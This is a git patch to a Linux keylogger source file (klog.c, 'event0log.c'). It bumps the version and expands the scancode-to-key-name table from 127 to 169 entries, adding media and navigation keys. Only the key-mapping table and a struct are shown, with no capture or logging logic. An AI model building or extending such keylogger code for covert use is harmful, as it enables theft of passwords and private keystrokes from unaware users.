From 4ca45da76d18f83685deb81bf2d3457a08a7f56f Mon Sep 17 00:00:00 2001 From: Tomas Mudrunka Date: Mon, 22 Feb 2021 11:03:20 +0100 Subject: [PATCH] Fixnuty scancody --- c/keylogger/klog.c | 30 +++++++++++++++++------------- 1 file changed, 17 insertions(+), 13 deletions(-) diff --git a/c/keylogger/klog.c b/c/keylogger/klog.c index d10afcb..0f2b84a 100755 --- a/c/keylogger/klog.c +++ b/c/keylogger/klog.c @@ -1,4 +1,4 @@ -/* event0log.c v0.7 +/* event0log.c v0.8 * <~~Harvie 2oo8-2o21 * THX2: Dayvee (Idea), joe@aol.com (Reversing), * -=Punka][Tux=- (BugReport), @@ -41,20 +41,24 @@ typedef struct __attribute__((__packed__)) input_event_s { unsigned int value; } input_event_t; -#define MAXSTROKE 127 //Set higest keystroke code in DB (lower will not be converted) +#define MAXSTROKE 169 //Set higest keystroke code in DB (lower will not be converted) char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard: - "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", - "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", - "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", - "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", - "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", - "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", - "[./DEL-NUM]", "<84>", "<85>", "[MACRO-\\|]", "[F11]", "[F12]", - "<89>", "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "[ENTER-NUM]\n", - "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<101>", + "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", //14 + "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", //28 + "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", //44 + "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", //57 + "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", //69 + "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", //83 + "[./DEL-NUM]", "<85>", "<86>", "[MACRO-\\|]", "[F11]", "[F12]", + "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "<96>", "[ENTER-NUM]\n", + "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<102>", "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]", - "<112>", "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]", - "<120>","<121>", "<122>", "<123>", "<124>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]" + "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]", + "<120>", "<121>", "<122>", "<123>", "<124>", "<125>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]", "<128>", "<129>", + "<130>", "<131>", "<132>", "<133>", "<134>", "<135>", "<136>", "<137>", "<138>", "<139>", + "<140>", "<141>", "<142>", "[Fn]", "<144>", "<145>", "<146>", "<147>", "<148>", "<149>", + "<150>", "<151>", "<152>", "<153>", "<154>", "<155>", "<156>", "<157>", "[BACK]", "[FORW]", + "<160>", "<161>", "<162>", "[NEXTSONG]", "[PLAYPAUSE]", "[PREVSONG]", "[STOPCD]", "<167>", "<168>", "<169>" /* Hint: [CAPSL][ESC] = CapsLock On [CAPSL] = CapsLock Off -- 2.30.2